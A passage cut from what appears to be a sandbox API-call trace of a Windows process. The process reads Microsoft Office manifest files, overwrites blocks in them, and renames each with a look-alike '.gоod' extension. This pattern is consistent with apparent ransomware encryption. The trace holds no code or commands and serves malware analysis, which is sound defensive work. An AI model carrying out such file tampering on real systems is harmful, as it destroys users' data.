Office\\root\\Integration\\C2RManifest.powerpointmui.msi.16.en-us.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.powerpointmui.msi.16.en-us.xml.gоod")) returned 1 [0183.017] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x67 [0183.017] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee390) returned 1 [0183.017] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.project.project.x-none.msi.16.x-none.xml"), fInfoLevelId=0x0, lpFileInformation=0x373af28 | out: lpFileInformation=0x373af28*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b17ac3e, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b17ac3e, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b1a0d3d, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x7446)) returned 1 [0183.017] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee350) returned 1 [0183.017] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x67 [0183.017] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0183.017] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.project.project.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0183.018] GetFileType (hFile=0x630) returned 0x1 [0183.018] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0183.018] GetFileType (hFile=0x630) returned 0x1 [0183.018] SetFilePointer (in: hFile=0x630, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbee3e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbee3e8*=0) returned 0x1000 [0183.018] ReadFile (in: hFile=0x630, lpBuffer=0x373b460, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbee3b8, lpOverlapped=0x0 | out: lpBuffer=0x373b460*, lpNumberOfBytesRead=0x1fbee3b8*=0x1000, lpOverlapped=0x0) returned 1 [0183.157] CloseHandle (hObject=0x630) returned 1 [0183.833] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x67 [0183.834] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0183.834] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.project.project.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x81c [0183.836] GetFileType (hFile=0x81c) returned 0x1 [0183.932] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0183.932] GetFileType (hFile=0x81c) returned 0x1 [0183.932] SetFilePointer (in: hFile=0x81c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbee3e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbee3e8*=0) returned 0x7446 [0183.932] WriteFile (in: hFile=0x81c, lpBuffer=0x37a9bd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbee2d8, lpOverlapped=0x0 | out: lpBuffer=0x37a9bd0*, lpNumberOfBytesWritten=0x1fbee2d8*=0x10, lpOverlapped=0x0) returned 1 [0183.933] CloseHandle (hObject=0x81c) returned 1 [0183.933] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x67 [0183.933] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0183.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.project.project.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x81c [0183.933] GetFileType (hFile=0x81c) returned 0x1 [0183.933] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0183.933] GetFileType (hFile=0x81c) returned 0x1 [0183.933] ReadFile (in: hFile=0x81c, lpBuffer=0x37abfc0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbee368, lpOverlapped=0x0 | out: lpBuffer=0x37abfc0*, lpNumberOfBytesRead=0x1fbee368*=0x1000, lpOverlapped=0x0) returned 1 [0183.960] CloseHandle (hObject=0x81c) returned 1 [0183.960] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x67 [0183.960] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0183.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.project.project.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x81c [0183.961] GetFileType (hFile=0x81c) returned 0x1 [0183.961] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0183.961] GetFileType (hFile=0x81c) returned 0x1 [0183.961] WriteFile (in: hFile=0x81c, lpBuffer=0x37aac88*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbee418, lpOverlapped=0x0 | out: lpBuffer=0x37aac88*, lpNumberOfBytesWritten=0x1fbee418*=0x1010, lpOverlapped=0x0) returned 1 [0183.961] CloseHandle (hObject=0x81c) returned 1 [0183.961] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x67 [0183.961] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml.gоod", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml.gоod", lpFilePart=0x0) returned 0x6c [0183.961] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee350) returned 1 [0183.961] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.project.project.x-none.msi.16.x-none.xml"), fInfoLevelId=0x0, lpFileInformation=0x1fbee430 | out: lpFileInformation=0x1fbee430*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b17ac3e, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b17ac3e, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x69dcc15c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x7456)) returned 1 [0183.961] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee310) returned 1 [0183.961] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.project.project.x-none.msi.16.x-none.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.project.project.x-none.msi.16.x-none.xml.gоod")) returned 1 [0183.962] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.projectmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.projectmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x5a [0183.962] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee390) returned 1 [0183.962] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.projectmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.projectmui.msi.16.en-us.xml"), fInfoLevelId=0x0, lpFileInformation=0x3828510 | out: lpFileInformation=0x3828510*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b2abe77, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b2abe77, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b2d20ad, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x809e)) returned 1 [0183.963] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee350) returned 1 [0183.963] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.projectmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.projectmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x5a [0183.963] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0183.963] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.projectmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.projectmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x81c [0183.963] GetFileType (hFile=0x81c) returned 0x1 [0183.963] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0183.963] GetFileType (hFile=0x81c) returned 0x1 [0183.963] SetFilePointer (in: hFile=0x81c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbee3e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbee3e8*=0) returned 0x1000 [0183.964] ReadFile (in: hFile=0x81c, lpBuffer=0x38289d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbee3b8, lpOverlapped=0x0 | out: lpBuffer=0x38289d8*, lpNumberOfBytesRead=0x1fbee3b8*=0x1000, lpOverlapped=0x0) returned 1 [0185.024] CloseHandle (hObject=0x81c) returned 1 [0185.025] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.projectmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.projectmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x5a [0185.025] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0185.025] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.projectmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.projectmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x81c [0185.025] GetFileType (hFile=0x81c) returned 0x1 [0185.025] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0185.025] GetFileType (hFile=0x81c) returned 0x1 [0185.025] SetFilePointer (in: hFile=0x81c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbee3e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbee3e8*=0) returned 0x809e [0185.025] WriteFile (in: hFile=0x81c, lpBuffer=0x378c0e8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbee2d8, lpOverlapped=0x0 | out: lpBuffer=0x378c0e8*, lpNumberOfBytesWritten=0x1fbee2d8*=0x10, lpOverlapped=0x0) returned 1 [0185.026] CloseHandle (hObject=0x81c) returned 1 [0185.026] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.projectmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.projectmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x5a [0185.026] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0185.026] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.projectmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.projectmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x81c [0185.027] GetFileType (hFile=0x81c) returned 0x1 [0185.027] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0185.027] GetFileType (hFile=0x81c) returned 0x1 [0185.027] ReadFile (in: hFile=0x81c, lpBuffer=0x378e400, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbee368, lpOverlapped=0x0 | out: lpBuffer=0x378e400*, lpNumberOfBytesRead=0x1fbee368*=0x1000, lpOverlapped=0x0) returned 1 [0185.054] CloseHandle (hObject=0x81c) returned 1 [0185.054] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.projectmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.projectmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x5a [0185.054] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0185.054] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.projectmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.projectmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x81c [0185.054] GetFileType (hFile=0x81c) returned 0x1 [0185.054] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0185.054] GetFileType (hFile=0x81c) returned 0x1 [0185.054] WriteFile (in: hFile=0x81c, lpBuffer=0x378d100*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbee418, lpOverlapped=0x0 | out: lpBuffer=0x378d100*, lpNumberOfBytesWritten=0x1fbee418*=0x1010, lpOverlapped=0x0) returned 1 [0185.055] CloseHandle (hObject=0x81c) returned 1 [0185.055] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.projectmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.projectmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x5a [0185.055] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.projectmui.msi.16.en-us.xml.gоod", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.projectmui.msi.16.en-us.xml.gоod", lpFilePart=0x0) returned 0x5f [0185.055] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee350) returned 1 [0185.055] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.projectmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.projectmui.msi.16.en-us.xml"), fInfoLevelId=0x0, lpFileInformation=0x1fbee430 | out: lpFileInformation=0x1fbee430*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b2abe77, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b2abe77, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x6a83a4bd, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x80ae)) returned 1 [0185.055] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee310) returned 1 [0185.055] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.projectmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.projectmui.msi.16.en-us.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.projectmui.msi.16.en-us.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.projectmui.msi.16.en-us.xml.gоod")) returned 1 [0185.056] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Proof.Culture.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Proof.Culture.msi.16.en-us.xml", lpFilePart=0x0) returned 0x5d [0185.056] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee390) returned 1 [0185.056] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Proof.Culture.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.proof.culture.msi.16.en-us.xml"), fInfoLevelId=0x0, lpFileInformation=0x380a8c0 | out: lpFileInformation=0x380a8c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd375d6d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd375d6d3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd397382c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x63ae)) returned 1 [0185.059] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee350) returned 1 [0185.059] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Proof.Culture.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Proof.Culture.msi.16.en-us.xml", lpFilePart=0x0) returned 0x5d [0185.059] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0185.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Proof.Culture.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.proof.culture.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x81c [0185.059] GetFileType (hFile=0x81c) returned 0x1 [0185.059] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0185.059] GetFileType (hFile=0x81c) returned 0x1 [0185.059] SetFilePointer (in: hFile=0x81c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbee3e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbee3e8*=0) returned 0x1000 [0185.059] ReadFile (in: hFile=0x81c, lpBuffer=0x380ada8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbee3b8, lpOverlapped=0x0 | out: lpBuffer=0x380ada8*, lpNumberOfBytesRead=0x1fbee3b8*=0x1000, lpOverlapped=0x0) returned 1 [0185.238] CloseHandle (hObject=0x81c) returned 1 [0185.239] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Proof.Culture.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Proof.Culture.msi.16.en-us.xml", lpFilePart=0x0) returned 0x5d [0185.239] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0185.239] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Proof.Culture.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.proof.culture.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x81c [0185.239] GetFileType (hFile=0x81c) returned 0x1 [0185.239] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0185.239] GetFileType (hFile=0x81c) returned 0x1 [0185.239] SetFilePointer (in: hFile=0x81c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbee3e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbee3e8*=0) returned 0x63ae [0185.239] WriteFile (in: hFile=0x81c, lpBuffer=0x3782e00*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbee2d8, lpOverlapped=0x0 | out: lpBuffer=0x3782e00*, lpNumberOfBytesWritten=0x1fbee2d8*=0x10, lpOverlapped=0x0) returned 1 [0185.240] CloseHandle (hObject=0x81c) returned 1 [0185.240] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Proof.Culture.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Proof.Culture.msi.16.en-us.xml", lpFilePart=0x0) returned 0x5d [0185.240] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0185.240] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Proof.Culture.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.proof.culture.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x81c [0185.240] GetFileType (hFile=0x81c) returned 0x1 [0185.240] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0185.240] GetFileType (hFile=0x81c) returned 0x1 [0185.240] ReadFile (in: hFile=0x81c, lpBuffer=0x3785128, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbee368, lpOverlapped=0x0 | out: lpBuffer=0x3785128*, lpNumberOfBytesRead=0x1fbee368*=0x1000, lpOverlapped=0x0) returned 1 [0185.268] CloseHandle (hObject=0x81c) returned 1 [0185.268] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Proof.Culture.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Proof.Culture.msi.16.en-us.xml", lpFilePart=0x0) returned 0x5d [0185.268] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0185.268] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Proof.Culture.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.proof.culture.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x81c [0185.269] GetFileType (hFile=0x81c) returned 0x1 [0185.269] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0185.269] GetFileType (hFile=0x81c) returned 0x1 [0185.269] WriteFile (in: hFile=0x81c, lpBuffer=0x3783e18*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbee418, lpOverlapped=0x0 | out: lpBuffer=0x3783e18*, lpNumberOfBytesWritten=0x1fbee418*=0x1010, lpOverlapped=0x0) returned 1 [0185.269] CloseHandle (hObject=0x81c) returned 1 [0185.269] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Proof.Culture.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Proof.Culture.msi.16.en-us.xml", lpFilePart=0x0) returned 0x5d [0185.269] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Proof.Culture.msi.16.en-us.xml.gоod", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Proof.Culture.msi.16.en-us.xml.gоod", lpFilePart=0x0) returned 0x62 [0185.269] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee350) returned 1 [0185.269] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Proof.Culture.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.proof.culture.msi.16.en-us.xml"), fInfoLevelId=0x0, lpFileInformation=0x1fbee430 | out: lpFileInformation=0x1fbee430*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd375d6d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd375d6d3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x6aa504da, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, 